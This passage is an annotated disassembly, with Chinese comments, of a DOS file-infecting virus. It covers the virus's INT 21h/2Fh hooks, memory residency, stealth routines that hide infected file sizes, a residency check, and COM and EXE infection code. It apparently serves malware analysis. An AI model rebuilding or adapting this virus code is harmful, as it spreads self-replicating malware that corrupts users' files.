F6C8:040E 75F4 JNZ 0404 ;即 CMP AH,11/JNZ XXXX
F6C8:0410 813CFC11 CMP WORD PTR [SI],11FC ;OR AL,AL/JZ XXXX
F6C8:0414 75EE JNZ 0404 ;此代码为 INT 2F
F6C8:0416 817C02750A CMP WORD PTR [SI+02],0A75 ;中断的开始代码
F6C8:041B 75E7 JNZ 0404
F6C8:041D 817C05C074 CMP WORD PTR [SI+05],74C0
F6C8:0422 75E0 JNZ 0404
F6C8:0424 4E DEC SI
F6C8:0425 C6049A MOV BYTE PTR [SI],9A ;截取新 INT 2F
F6C8:0428 C744013E04 MOV WORD PTR [SI+01],043E ;到 CS:043E
F6C8:042D 8C4C03 MOV [SI+03],CS ;改为 CALL CS:043E
F6C8:0430 4E DEC SI
F6C8:0431 2E CS:
F6C8:0432 89365D11 MOV [115D],SI
F6C8:0436 07 POP ES
F6C8:0437 1F POP DS
F6C8:0438 61 POPA
F6C8:0439 EADA101001 JMP 0110:10DA ;转原 INT 2A
;
========================================================================
=
; 新 INT 2F 中断代码部分
;
========================================================================
=
F6C8:043E 2E CS:
F6C8:043F C606C00D3C MOV BYTE PTR [0DC0],3C
F6C8:0444 50 PUSH AX
F6C8:0445 55 PUSH BP
F6C8:0446 8BEC MOV BP,SP
F6C8:0448 80FC11 CMP AH,11 ;模拟原 INT 2F 功能
F6C8:044B 7404 JZ 0451 ;CMP AH,11/JNZ xxxx
F6C8:044D 8346040A ADD WORD PTR [BP+04],+0A
F6C8:0451 8B460A MOV AX,[BP+0A] ;取调用 INT 2F 之地址
F6C8:0454 8CCD MOV BP,CS ;如果是病毒自己调用
F6C8:0456 3BC5 CMP AX,BP ;转原 INT 2F
F6C8:0458 5D POP BP
F6C8:0459 58 POP AX
F6C8:045A 740C JZ 0468 ;
F6C8:045C 3D1612 CMP AX,1216 ;非病毒自己调用
F6C8:045F 7507 JNZ 0468 ;则将 1216 功能
F6C8:0461 83C404 ADD SP,+04 ;屏蔽, 出错返回
F6C8:0464 F9 STC
F6C8:0465 CA0200 RETF 0002
F6C8:0468 CB RETF
;
========================================================================
==
;BOOT 引入时执行 INT 21H 时先执行本子程序
;功能为在第一次执行可执行程序时申请内存块驻留
F6C8:0469 80FC4B CMP AH,4B ;非执行程序退出
F6C8:046C 7401 JZ 046F
F6C8:046E C3 RET
F6C8:046F 60 PUSHA
F6C8:0470 1E PUSH DS
F6C8:0471 06 PUSH ES
F6C8:0472 0AC0 OR AL,AL
F6C8:0474 7428 JZ 049E ;执行文件转 049E
F6C8:0476 8BF2 MOV SI,DX ;装入设备驱动程序
F6C8:0478 AC LODSB
F6C8:0479 0AC0 OR AL,AL
F6C8:047B 75FB JNZ 0478
F6C8:047D 817CF74D33 CMP WORD PTR [SI-09],334D
F6C8:0482 7517 JNZ 049B
F6C8:0484 817CF45145 CMP WORD PTR [SI-0C],4551
F6C8:0489 7510 JNZ 049B
F6C8:048B E89CFD CALL 022A ;如果装入 QEMM386.SYS
F6C8:048E B80013 MOV AX,1300 ;再次设置新 INT 13H
F6C8:0491 8BD3 MOV DX,BX
F6C8:0493 CD2F INT 2F (Multiplex)
F6C8:0495 2E CS:
F6C8:0496 C606FF00EB MOV BYTE PTR [00FF],EB
F6C8:049B E99B00 JMP 0539
F6C8:049E 2E CS: ;执行程序时
F6C8:049F C606FF00EB MOV BYTE PTR [00FF],EB
F6C8:04A4 B452 MOV AH,52 ;取表之表地址
F6C8:04A6 E85108 CALL 0CFA
F6C8:04A9 26 ES:
F6C8:04AA 8B47FE MOV AX,[BX-02] ;取第一块 MCB 地址
F6C8:04AD E8C7FB CALL 0077 ;取最后一块 MCB 地址
F6C8:04B0 8EDB MOV DS,BX
F6C8:04B2 8BC3 MOV AX,BX
F6C8:04B4 034503 ADD AX,[DI+03]
F6C8:04B7 80FCA0 CMP AH,A0
F6C8:04BA 760D JBE 04C9 ;不在 UMB 中转 04C9
F6C8:04BC 33F6 XOR SI,SI ;在 UMB 中则驻留内存
F6C8:04BE E8CDFB CALL 008E
F6C8:04C1 B9B004 MOV CX,04B0
F6C8:04C4 F3 REPZ
F6C8:04C5 2E CS:
F6C8:04C6 A4 MOVSB
F6C8:04C7 734B JNB 0514
F6C8:04C9 B80058 MOV AX,5800 ;取内存分配策略
F6C8:04CC E82B08 CALL 0CFA
F6C8:04CF 50 PUSH AX
F6C8:04D0 B80158 MOV AX,5801 ;设高到低寻找策略
F6C8:04D3 BB8000 MOV BX,0080
F6C8:04D6 50 PUSH AX
F6C8:04D7 E82008 CALL 0CFA
F6C8:04DA B80258 MOV AX,5802 ;得到 UMB 链状态
F6C8:04DD E81A08 CALL 0CFA
F6C8:04E0 32E4 XOR AH,AH
F6C8:04E2 50 PUSH AX
F6C8:04E3 B80358 MOV AX,5803 ;设新的 UMB 状态
F6C8:04E6 B301 MOV BL,01 ;为将 UMB 加入 DOS 内存链
F6C8:04E8 50 PUSH AX
F6C8:04E9 E80E08 CALL 0CFA
F6C8:04EC B448 MOV AH,48 ;分配内存
F6C8:04EE BB3801 MOV BX,0138
F6C8:04F1 E80608 CALL 0CFA
F6C8:04F4 95 XCHG AX,BP
F6C8:04F5 58 POP AX
F6C8:04F6 5B POP BX
F6C8:04F7 E80008 CALL 0CFA ;恢复分配内存策略
F6C8:04FA 58 POP AX ;及恢复 UMB 状态
F6C8:04FB 5B POP BX
F6C8:04FC E8FB07 CALL 0CFA
F6C8:04FF 33FF XOR DI,DI
F6C8:0501 8EC5 MOV ES,BP
F6C8:0503 4D DEC BP
F6C8:0504 8EDD MOV DS,BP ;将内存块改为 DOS 使用
F6C8:0506 C745010800 MOV WORD PTR [DI+01],0008
F6C8:050B 33F6 XOR SI,SI
F6C8:050D 0E PUSH CS
F6C8:050E 1F POP DS
F6C8:050F B97713 MOV CX,1377
F6C8:0512 F3 REPZ
F6C8:0513 A4 MOVSB ;驻留内存
F6C8:0514 0E PUSH CS
F6C8:0515 1F POP DS
F6C8:0516 8B3E4502 MOV DI,[0245] ;将 INT 21 地址
F6C8:051A 8B365D11 MOV SI,[115D] ;改到新的地址
F6C8:051E C51E5711 LDS BX,[1157]
F6C8:0522 8C47FE MOV [BX-02],ES
F6C8:0525 8C4404 MOV [SI+04],ES
F6C8:0528 8ED9 MOV DS,CX
F6C8:052A 8C4502 MOV [DI+02],ES
F6C8:052D 26 ES:
F6C8:052E C60604013C MOV BYTE PTR [0104],3C
F6C8:0533 26 ES:
F6C8:0534 C60658053D MOV BYTE PTR [0558],3D
F6C8:0539 07 POP ES
F6C8:053A 1F POP DS
F6C8:053B 61 POPA
F6C8:053C C3 RET
;
========================================================================
=
; 新 INT 21H 代码部分
;
========================================================================
=
F6C8:053D 2E CS:
F6C8:053E 8F065711 POP WORD PTR [1157] ;保存返回地址
F6C8:0542 2E CS: ;于 1157 (IP) 和 1159 (CS)
F6C8:0543 8F065911 POP WORD PTR [1159]
F6C8:0547 9C PUSHF
F6C8:0548 55 PUSH BP
F6C8:0549 8BEC MOV BP,SP
F6C8:054B 817E045344 CMP WORD PTR [BP+04],4453
F6C8:0550 5D POP BP
F6C8:0551 7504 JNZ 0557 ;????
F6C8:0553 9D POPF
F6C8:0554 44 INC SP
F6C8:0555 44 INC SP
F6C8:0556 C3 RET
F6C8:0557 9D POPF
F6C8:0558 3D0EFF CMP AX,FF0E ====> ;BOOT 引入时
F6C8:055B 80FC11 CMP AH,11 ;本句代码为 CALL 0469
F6C8:055E 7235 JB 0595
F6C8:0560 80FC12 CMP AH,12 ;DOS 功能 11,12 (DIR 时使用)
F6C8:0563 7730 JA 0595 ;则更改文件长度
F6C8:0565 E82308 CALL 0D8B ;调用原 INT 21 功能
F6C8:0568 0AC0 OR AL,AL ;成功转 057B
F6C8:056A 740F JZ 057B
F6C8:056C 50 PUSH AX
F6C8:056D B81812 MOV AX,1218 ;INT 2F 之 1218 功能
F6C8:0570 E84D08 CALL 0DC0 ;取 DOS 调用者寄存器
F6C8:0573 58 POP AX
F6C8:0574 8904 MOV [SI],AX ;修改返回值
F6C8:0576 2E CS: ;返回调用处
F6C8:0577 FF2E5711 JMP FAR DWORD PTR [1157]
F6C8:057B E86208 CALL 0DE0 ;
F6C8:057E 74EC JZ 056C
F6C8:0580 50 PUSH AX
F6C8:0581 B42F MOV AH,2F
F6C8:0583 E87407 CALL 0CFA
F6C8:0586 26 ES:
F6C8:0587 803FFF CMP BYTE PTR [BX],FF
F6C8:058A 7503 JNZ 058F
F6C8:058C 83C307 ADD BX,+07
F6C8:058F 43 INC BX
F6C8:0590 BE0200 MOV SI,0002
F6C8:0593 EB17 JMP 05AC
;
========================================================================
==
F6C8:0595 80FC4E CMP AH,4E
F6C8:0598 7239 JB 05D3
F6C8:059A 80FC4F CMP AH,4F
F6C8:059D 7734 JA 05D3
F6C8:059F E8E907 CALL 0D8B
F6C8:05A2 50 PUSH AX
F6C8:05A3 722B JB 05D0
F6C8:05A5 B42F MOV AH,2F
F6C8:05A7 E85007 CALL 0CFA
F6C8:05AA 33F6 XOR SI,SI
F6C8:05AC E82808 CALL 0DD7
F6C8:05AF 741F JZ 05D0
F6C8:05B1 06 PUSH ES
F6C8:05B2 1F POP DS
F6C8:05B3 807F19C8 CMP BYTE PTR [BX+19],C8
F6C8:05B7 7217 JB 05D0
F6C8:05B9 806F19C8 SUB BYTE PTR [BX+19],C8
F6C8:05BD C4401A LES AX,[BX+SI+1A]
F6C8:05C0 8CC2 MOV DX,ES
F6C8:05C2 2DC70E SUB AX,0EC7
F6C8:05C5 83DA00 SBB DX,+00
F6C8:05C8 7206 JB 05D0
F6C8:05CA 89401A MOV [BX+SI+1A],AX
F6C8:05CD 89501C MOV [BX+SI+1C],DX
F6C8:05D0 58 POP AX
F6C8:05D1 EB99 JMP 056C
;
========================================================================
=
F6C8:05D3 3D0242 CMP AX,4202
F6C8:05D6 7526 JNZ 05FE
F6C8:05D8 E8FA06 CALL 0CD5
F6C8:05DB 7621 JBE 05FE
F6C8:05DD E8F707 CALL 0DD7
F6C8:05E0 741C JZ 05FE
F6C8:05E2 816D11C70E SUB WORD PTR [DI+11],0EC7
F6C8:05E7 835D1300 SBB WORD PTR [DI+13],+00
F6C8:05EB 57 PUSH DI
F6C8:05EC 1E PUSH DS
F6C8:05ED E89B07 CALL 0D8B
F6C8:05F0 1F POP DS
F6C8:05F1 5F POP DI
F6C8:05F2 814511C70E ADD WORD PTR [DI+11],0EC7
F6C8:05F7 83551300 ADC WORD PTR [DI+13],+00
F6C8:05FB E96EFF JMP 056C
;
========================================================================
==
F6C8:05FE 80FC57 CMP AH,57
F6C8:0601 7520 JNZ 0623
F6C8:0603 E8CF06 CALL 0CD5
F6C8:0606 761B JBE 0623
F6C8:0608 E8CC07 CALL 0DD7
F6C8:060B 7416 JZ 0623
F6C8:060D 57 PUSH DI
F6C8:060E 1E PUSH DS
F6C8:060F 0AC0 OR AL,AL
F6C8:0611 7504 JNZ 0617
F6C8:0613 806D10C8 SUB BYTE PTR [DI+10],C8
F6C8:0617 E87107 CALL 0D8B
F6C8:061A 1F POP DS
F6C8:061B 5F POP DI
F6C8:061C 804510C8 ADD BYTE PTR [DI+10],C8
F6C8:0620 E949FF JMP 056C
;
========================================================================
===
F6C8:0623 80FC3F CMP AH,3F
F6C8:0626 7403 JZ 062B
F6C8:0628 E94901 JMP 0774
F6C8:062B E8A907 CALL 0DD7 ;新 INT 21 之 3F 功能
F6C8:062E 74F8 JZ 0628 ;执行压缩文件跳过
F6C8:0630 1E PUSH DS
F6C8:0631 E8A106 CALL 0CD5 ;取文件句柄表地址
F6C8:0634 1F POP DS
F6C8:0635 76F1 JBE 0628
F6C8:0637 2E CS:
F6C8:0638 8C1E6B0C MOV [0C6B],DS
F6C8:063C 0E PUSH CS
F6C8:063D 1F POP DS
F6C8:063E 890E650C MOV [0C65],CX
F6C8:0642 8916680C MOV [0C68],DX
F6C8:0646 83266F0700 AND WORD PTR [076F],0000
F6C8:064B 06 PUSH ES
F6C8:064C 1F POP DS
F6C8:064D E85A06 CALL 0CAA ;测试当前文件指针
F6C8:0650 2D4000 SUB AX,0040
F6C8:0653 83DA00 SBB DX,+00
F6C8:0656 7320 JNB 0678 ;非文件头 40H 字节转 0678
F6C8:0658 034511 ADD AX,[DI+11]
F6C8:065B 135513 ADC DX,[DI+13]
F6C8:065E 874515 XCHG AX,[DI+15]
F6C8:0661 875517 XCHG DX,[DI+17]
F6C8:0664 8BCA MOV CX,DX
F6C8:0666 92 XCHG AX,DX
F6C8:0667 E8F205 CALL 0C5C
F6C8:066A 7303 JNB 066F
F6C8:066C E9FD00 JMP 076C
F6C8:066F 9C PUSHF
F6C8:0670 03D0 ADD DX,AX
F6C8:0672 E83F06 CALL 0CB4
F6C8:0675 9D POPF
F6C8:0676 74F4 JZ 066C
F6C8:0678 06 PUSH ES
F6C8:0679 E82E06 CALL 0CAA
F6C8:067C 50 PUSH AX
F6C8:067D 52 PUSH DX
F6C8:067E E83F06 CALL 0CC0
F6C8:0681 E86A05 CALL 0BEE
F6C8:0684 59 POP CX
F6C8:0685 5A POP DX
F6C8:0686 9C PUSHF
F6C8:0687 E82A06 CALL 0CB4
F6C8:068A 9D POPF
F6C8:068B C406030F LES AX,[0F03]
F6C8:068F 8CC1 MOV CX,ES
F6C8:0691 1F POP DS
F6C8:0692 7303 JNB 0697
F6C8:0694 E9BE00 JMP 0755
F6C8:0697 874511 XCHG AX,[DI+11]
F6C8:069A 50 PUSH AX
F6C8:069B 874D13 XCHG CX,[DI+13]
F6C8:069E 51 PUSH CX
F6C8:069F E8BA05 CALL 0C5C
F6C8:06A2 8F4513 POP WORD PTR [DI+13]
F6C8:06A5 8F4511 POP WORD PTR [DI+11]
F6C8:06A8 7703 JA 06AD
F6C8:06AA E9BF00 JMP 076C
F6C8:06AD E8FA05 CALL 0CAA
F6C8:06B0 0E PUSH CS
F6C8:06B1 1F POP DS
F6C8:06B2 2B06030F SUB AX,[0F03]
F6C8:06B6 1B16050F SBB DX,[0F05]
F6C8:06BA 753F JNZ 06FB
F6C8:06BC 3D4800 CMP AX,0048
F6C8:06BF 733A JNB 06FB
F6C8:06C1 05070F ADD AX,0F07
F6C8:06C4 96 XCHG AX,SI
F6C8:06C5 33C0 XOR AX,AX
F6C8:06C7 8B3E680C MOV DI,[0C68]
F6C8:06CB 8E066B0C MOV ES,[0C6B]
F6C8:06CF 8B0E650C MOV CX,[0C65]
F6C8:06D3 E312 JCXZ 06E7
F6C8:06D5 81FE4F0F CMP SI,0F4F
F6C8:06D9 730C JNB 06E7
F6C8:06DB A4 MOVSB
F6C8:06DC FF066F07 INC WORD PTR [076F]
F6C8:06E0 FF06680C INC WORD PTR [0C68]
F6C8:06E4 40 INC AX
F6C8:06E5 E2EE LOOP 06D5
F6C8:06E7 890E650C MOV [0C65],CX
F6C8:06EB E8E705 CALL 0CD5
F6C8:06EE 014515 ADD [DI+15],AX
F6C8:06F1 83551700 ADC WORD PTR [DI+17],+00
F6C8:06F5 0BC9 OR CX,CX
F6C8:06F7 7502 JNZ 06FB
F6C8:06F9 EB71 JMP 076C
F6C8:06FB 0E PUSH CS
F6C8:06FC 1F POP DS
F6C8:06FD A12B0F MOV AX,[0F2B]
F6C8:0700 33D2 XOR DX,DX
F6C8:0702 050100 ADD AX,0001
F6C8:0705 13D2 ADC DX,DX
F6C8:0707 BE0800 MOV SI,0008
F6C8:070A F7E6 MUL SI
F6C8:070C 0306310F ADD AX,[0F31]
F6C8:0710 83D200 ADC DX,+00
F6C8:0713 0306030F ADD AX,[0F03]
F6C8:0717 1316050F ADC DX,[0F05]
F6C8:071B E8B705 CALL 0CD5
F6C8:071E 3B5517 CMP DX,[DI+17]
F6C8:0721 7232 JB 0755
F6C8:0723 7705 JA 072A
F6C8:0725 3B4515 CMP AX,[DI+15]
F6C8:0728 762B JBE 0755
F6C8:072A 2D0800 SUB AX,0008
F6C8:072D 83DA00 SBB DX,+00
F6C8:0730 874511 XCHG AX,[DI+11]
F6C8:0733 50 PUSH AX
F6C8:0734 875513 XCHG DX,[DI+13]
F6C8:0737 52 PUSH DX
F6C8:0738 836D1508 SUB WORD PTR [DI+15],+08
F6C8:073C 835D1700 SBB WORD PTR [DI+17],+00
F6C8:0740 E81905 CALL 0C5C
F6C8:0743 9C PUSHF
F6C8:0744 83451508 ADD WORD PTR [DI+15],+08
F6C8:0748 83551500 ADC WORD PTR [DI+15],+00
F6C8:074C 9D POPF
F6C8:074D 8F4513 POP WORD PTR [DI+13]
F6C8:0750 8F4511 POP WORD PTR [DI+11]
F6C8:0753 7617 JBE 076C
F6C8:0755 816D11C70E SUB WORD PTR [DI+11],0EC7
F6C8:075A 835D1300 SBB WORD PTR [DI+13],+00
F6C8:075E E8FB04 CALL 0C5C
F6C8:0761 9C PUSHF
F6C8:0762 814511C70E ADD WORD PTR [DI+11],0EC7
F6C8:0767 83551300 ADC WORD PTR [DI+13],+00
F6C8:076B 9D POPF
F6C8:076C 7203 JB 0771
F6C8:076E B875D5 MOV AX,D575
F6C8:0771 E9F8FD JMP 056C
;
========================================================================
===
F6C8:0774 60 PUSHA ;病毒驻留检验
F6C8:0775 1E PUSH DS ;以 AX = 187F
F6C8:0776 06 PUSH ES ; BX = 4453 调用
F6C8:0777 3D7F18 CMP AX,187F ;返回 AX = 434E
F6C8:077A 7514 JNZ 0790
F6C8:077C 81FB5344 CMP BX,4453
F6C8:0780 750E JNZ 0790
F6C8:0782 B81812 MOV AX,1218 ;取返回寄存器地址
F6C8:0785 E83806 CALL 0DC0 ;修改返回 AX 值
F6C8:0788 8144024E43 ADD WORD PTR [SI+02],434E
F6C8:078D E9C201 JMP 0952
;
========================================================================
===
F6C8:0790 80FC40 CMP AH,40
F6C8:0793 7403 JZ 0798
F6C8:0795 E9F100 JMP 0889
F6C8:0798 E83A05 CALL 0CD5
F6C8:079B 76F8 JBE 0795
F6C8:079D E81604 CALL 0BB6
F6C8:07A0 FF7505 PUSH WORD PTR [DI+05]
F6C8:07A3 C54515 LDS AX,[DI+15]
F6C8:07A6 50 PUSH AX
F6C8:07A7 1E PUSH DS
F6C8:07A8 E81505 CALL 0CC0
F6C8:07AB 7303 JNB 07B0
F6C8:07AD E9C800 JMP 0878
F6C8:07B0 E83B04 CALL 0BEE
F6C8:07B3 9C PUSHF
F6C8:07B4 8306030F08 ADD WORD PTR [0F03],+08
F6C8:07B9 8316050F00 ADC WORD PTR [0F05],+00
F6C8:07BE 9D POPF
F6C8:07BF 7303 JNB 07C4
F6C8:07C1 E99900 JMP 085D
F6C8:07C4 8B441C MOV AX,[SI+1C]
F6C8:07C7 33D2 XOR DX,DX
F6C8:07C9 B90800 MOV CX,0008
F6C8:07CC F7E1 MUL CX
F6C8:07CE 034422 ADD AX,[SI+22]
F6C8:07D1 83D200 ADC DX,+00
F6C8:07D4 50 PUSH AX
F6C8:07D5 52 PUSH DX
F6C8:07D6 0306030F ADD AX,[0F03]
F6C8:07DA 1316050F ADC DX,[0F05]
F6C8:07DE 050002 ADD AX,0200
F6C8:07E1 83D200 ADC DX,+00
F6C8:07E4 8BCA MOV CX,DX
F6C8:07E6 92 XCHG AX,DX
F6C8:07E7 E8CA04 CALL 0CB4
F6C8:07EA 5A POP DX
F6C8:07EB 58 POP AX
F6C8:07EC 2D4000 SUB AX,0040
F6C8:07EF 83DA00 SBB DX,+00
F6C8:07F2 B90002 MOV CX,0200
F6C8:07F5 F7F1 DIV CX
F6C8:07F7 8BFA MOV DI,DX
F6C8:07F9 95 XCHG AX,BP
F6C8:07FA 83ED01 SUB BP,+01
F6C8:07FD 722E JB 082D
F6C8:07FF B9FFFF MOV CX,FFFF
F6C8:0802 BAF8FB MOV DX,FBF8
F6C8:0805 E8AF04 CALL 0CB7
F6C8:0808 B43F MOV AH,3F
F6C8:080A B90002 MOV CX,0200
F6C8:080D BA4F0F MOV DX,0F4F
F6C8:0810 E88C04 CALL 0C9F
F6C8:0813 7263 JB 0878
F6C8:0815 B9FFFF MOV CX,FFFF
F6C8:0818 BA08FE MOV DX,FE08
F6C8:081B E89904 CALL 0CB7
F6C8:081E B440 MOV AH,40
F6C8:0820 B90002 MOV CX,0200
F6C8:0823 BA4F0F MOV DX,0F4F
F6C8:0826 E87604 CALL 0C9F
F6C8:0829 73CF JNB 07FA
F6C8:082B EB4B JMP 0878
F6C8:082D B9FFFF MOV CX,FFFF
F6C8:0830 8D950802 LEA DX,[DI+0208]
F6C8:0834 F7DA NEG DX
F6C8:0836 E87E04 CALL 0CB7
F6C8:0839 B43F MOV AH,3F
F6C8:083B 8BCF MOV CX,DI
F6C8:083D BA4F0F MOV DX,0F4F
F6C8:0840 E85C04 CALL 0C9F
F6C8:0843 7233 JB 0878
F6C8:0845 B9FFFF MOV CX,FFFF
F6C8:0848 8D5540 LEA DX,[DI+40]
F6C8:084B F7DA NEG DX
F6C8:084D E86704 CALL 0CB7
F6C8:0850 B440 MOV AH,40
F6C8:0852 8D4D48 LEA CX,[DI+48]
F6C8:0855 BA070F MOV DX,0F07
F6C8:0858 E84404 CALL 0C9F
F6C8:085B 721B JB 0878
F6C8:085D E83004 CALL 0C90
F6C8:0860 7216 JB 0878
F6C8:0862 B9FFFF MOV CX,FFFF
F6C8:0865 BA39F1 MOV DX,F139
F6C8:0868 E84F04 CALL 0CBA
F6C8:086B B440 MOV AH,40
F6C8:086D 41 INC CX
F6C8:086E E88904 CALL 0CFA
F6C8:0871 E86104 CALL 0CD5
F6C8:0874 806D10C8 SUB BYTE PTR [DI+10],C8
F6C8:0878 59 POP CX
F6C8:0879 5A POP DX
F6C8:087A E83704 CALL 0CB4
F6C8:087D E85504 CALL 0CD5
F6C8:0880 8F4505 POP WORD PTR [DI+05]
F6C8:0883 E85303 CALL 0BD9
F6C8:0886 E9C900 JMP 0952
;
========================================================================
=
F6C8:0889 80FC3E CMP AH,3E
F6C8:088C 750C JNZ 089A
F6C8:088E E82503 CALL 0BB6
F6C8:0891 E8E100 CALL 0975
F6C8:0894 E84203 CALL 0BD9
F6C8:0897 E9B800 JMP 0952
;
========================================================================
=
F6C8:089A 80FC43 CMP AH,43
F6C8:089D 7419 JZ 08B8
F6C8:089F 80FC56 CMP AH,56
F6C8:08A2 7414 JZ 08B8
F6C8:08A4 3D004B CMP AX,4B00
F6C8:08A7 7205 JB 08AE
F6C8:08A9 3D054B CMP AX,4B05
F6C8:08AC 7603 JBE 08B1
F6C8:08AE E9A100 JMP 0952
F6C8:08B1 7505 JNZ 08B8
F6C8:08B3 8BF2 MOV SI,DX
F6C8:08B5 C55404 LDS DX,[SI+04]
;
========================================================================
==
F6C8:08B8 50 PUSH AX
F6C8:08B9 E8FA02 CALL 0BB6
F6C8:08BC B8003D MOV AX,3D00
F6C8:08BF E83804 CALL 0CFA
F6C8:08C2 720F JB 08D3
F6C8:08C4 93 XCHG AX,BX
F6C8:08C5 53 PUSH BX
F6C8:08C6 52 PUSH DX
F6C8:08C7 1E PUSH DS
F6C8:08C8 E8AA00 CALL 0975
F6C8:08CB 1F POP DS
F6C8:08CC 5A POP DX
F6C8:08CD 5B POP BX
F6C8:08CE B43E MOV AH,3E
F6C8:08D0 E82704 CALL 0CFA
F6C8:08D3 E80303 CALL 0BD9
F6C8:08D6 58 POP AX
F6C8:08D7 3D014B CMP AX,4B01
F6C8:08DA 751F JNZ 08FB
F6C8:08DC 33ED XOR BP,BP
F6C8:08DE B8003D MOV AX,3D00
F6C8:08E1 E81604 CALL 0CFA
F6C8:08E4 7211 JB 08F7
F6C8:08E6 93 XCHG AX,BX
F6C8:08E7 E8EB03 CALL 0CD5
F6C8:08EA 7606 JBE 08F2
F6C8:08EC E8D103 CALL 0CC0
F6C8:08EF 7201 JB 08F2
F6C8:08F1 45 INC BP
F6C8:08F2 B43E MOV AH,3E
F6C8:08F4 E80304 CALL 0CFA
F6C8:08F7 0BED OR BP,BP
F6C8:08F9 7502 JNZ 08FD
F6C8:08FB EB55 JMP 0952
F6C8:08FD 07 POP ES
F6C8:08FE 1F POP DS
F6C8:08FF 61 POPA
F6C8:0900 53 PUSH BX
F6C8:0901 06 PUSH ES
F6C8:0902 E88604 CALL 0D8B
F6C8:0905 07 POP ES
F6C8:0906 5F POP DI
F6C8:0907 50 PUSH AX
F6C8:0908 7304 JNB 090E
F6C8:090A 58 POP AX
F6C8:090B E95EFC JMP 056C
F6C8:090E B451 MOV AH,51
F6C8:0910 CD21 INT 21 (DOS)
F6C8:0912 8BEB MOV BP,BX
F6C8:0914 BEC70E MOV SI,0EC7
F6C8:0917 0E PUSH CS
F6C8:0918 1F POP DS
F6C8:0919 AD LODSW
F6C8:091A E88F02 CALL 0BAC
F6C8:091D 7409 JZ 0928
F6C8:091F 48 DEC AX
F6C8:0920 26 ES:
F6C8:0921 C47D12 LES DI,[DI+12]
F6C8:0924 AB STOSW
F6C8:0925 A4 MOVSB
F6C8:0926 EBE2 JMP 090A
F6C8:0928 83C70E ADD DI,+0E
F6C8:092B 1E PUSH DS
F6C8:092C 26 ES:
F6C8:092D C51D LDS BX,[DI]
F6C8:092F 8B0F MOV CX,[BX]
F6C8:0931 1F POP DS
F6C8:0932 8B440E MOV AX,[SI+0E]
F6C8:0935 48 DEC AX
F6C8:0936 48 DEC AX
F6C8:0937 AB STOSW
F6C8:0938 93 XCHG AX,BX
F6C8:0939 8D4610 LEA AX,[BP+10]
F6C8:093C 50 PUSH AX
F6C8:093D 03440C ADD AX,[SI+0C]
F6C8:0940 AB STOSW
F6C8:0941 1E PUSH DS
F6C8:0942 8ED8 MOV DS,AX
F6C8:0944 890F MOV [BX],CX
F6C8:0946 1F POP DS
F6C8:0947 8B4412 MOV AX,[SI+12]
F6C8:094A AB STOSW
F6C8:094B 58 POP AX
F6C8:094C 034414 ADD AX,[SI+14]
F6C8:094F AB STOSW
F6C8:0950 EBB8 JMP 090A
;
========================================================================
==
F6C8:0952 07 POP ES
F6C8:0953 1F POP DS
F6C8:0954 61 POPA ;INT 21 CALL SS:[XXXX]
F6C8:0955 2E CS: ;的返回地址 (1157)
F6C8:0956 FF365711 PUSH WORD PTR [1157]
F6C8:095A 55 PUSH BP
F6C8:095B 2E CS:
F6C8:095C 8B2E5311 MOV BP,[1153] ;调用地址
F6C8:0960 8B6E00 MOV BP,[BP+00]
F6C8:0963 2E CS:
F6C8:0964 892E5711 MOV [1157],BP
F6C8:0968 5D POP BP
F6C8:0969 2E CS:
F6C8:096A FF365911 PUSH WORD PTR [1159] ;调用 INT 21 的段地址
F6C8:096E 2E CS:
F6C8:096F FF365711 PUSH WORD PTR [1157] ;调用地址
F6C8:0973 CB RETF ;到原 INT 21 功能
F6C8:0974 C3 RET
;
========================================================================
==
F6C8:0975 E85D03 CALL 0CD5
F6C8:0978 72FA JB 0974
F6C8:097A 75F8 JNZ 0974
F6C8:097C 833D01 CMP WORD PTR [DI],+01
F6C8:097F 75F3 JNZ 0974
F6C8:0981 F645053E TEST BYTE PTR [DI+05],3E
F6C8:0985 7514 JNZ 099B
F6C8:0987 BAF503 MOV DX,03F5
F6C8:098A B004 MOV AL,04
F6C8:098C EE OUT DX,AL
F6C8:098D B504 MOV CH,04
F6C8:098F E2FE LOOP 098F
F6C8:0991 EE OUT DX,AL
F6C8:0992 B504 MOV CH,04
F6C8:0994 E2FE LOOP 0994
F6C8:0996 EC IN AL,DX
F6C8:0997 A840 TEST AL,40
F6C8:0999 75D9 JNZ 0974
F6C8:099B B445 MOV AH,45
F6C8:099D E85A03 CALL 0CFA
F6C8:09A0 72D2 JB 0974
F6C8:09A2 53 PUSH BX
F6C8:09A3 93 XCHG AX,BX
F6C8:09A4 B43E MOV AH,3E
F6C8:09A6 E85103 CALL 0CFA
F6C8:09A9 5B POP BX
F6C8:09AA 72C8 JB 0974
F6C8:09AC B80045 MOV AX,4500
F6C8:09AF 864504 XCHG AL,[DI+04]
F6C8:09B2 A81C TEST AL,1C
F6C8:09B4 75BE JNZ 0974
F6C8:09B6 50 PUSH AX
F6C8:09B7 99 CWD
F6C8:09B8 E83F03 CALL 0CFA
F6C8:09BB 93 XCHG AX,BX
F6C8:09BC C745020200 MOV WORD PTR [DI+02],0002
F6C8:09C1 B84300 MOV AX,0043
F6C8:09C4 324528 XOR AL,[DI+28]
F6C8:09C7 BD4F4D MOV BP,4D4F
F6C8:09CA 336D29 XOR BP,[DI+29]
F6C8:09CD 0BE8 OR BP,AX
F6C8:09CF E8BB02 CALL 0C8D
F6C8:09D2 7223 JB 09F7
F6C8:09D4 8BF2 MOV SI,DX
F6C8:09D6 BF870E MOV DI,0E87
F6C8:09D9 0E PUSH CS
F6C8:09DA 07 POP ES
F6C8:09DB F3 REPZ
F6C8:09DC A4 MOVSB
F6C8:09DD E8CD02 CALL 0CAD
F6C8:09E0 91 XCHG AX,CX
F6C8:09E1 8B05 MOV AX,[DI]
F6C8:09E3 E8C601 CALL 0BAC
F6C8:09E6 7420 JZ 0A08
F6C8:09E8 0BD5 OR DX,BP
F6C8:09EA 750B JNZ 09F7
F6C8:09EC B0E9 MOV AL,E9
F6C8:09EE AA STOSB
F6C8:09EF 91 XCHG AX,CX
F6C8:09F0 2D0300 SUB AX,0003
F6C8:09F3 AB STOSW
F6C8:09F4 E98D01 JMP 0B84
F6C8:09F7 E8DB02 CALL 0CD5
F6C8:09FA 58 POP AX
F6C8:09FB 884504 MOV [DI+04],AL
F6C8:09FE 804D0640 OR BYTE PTR [DI+06],40
F6C8:0A02 B43E MOV AH,3E
F6C8:0A04 E8F302 CALL 0CFA
F6C8:0A07 C3 RET
;
=======================================================================
; 感染 .EXE 文件代码部分
;
=======================================================================
F6C8:0A08 52 PUSH DX
F6C8:0A09 51 PUSH CX
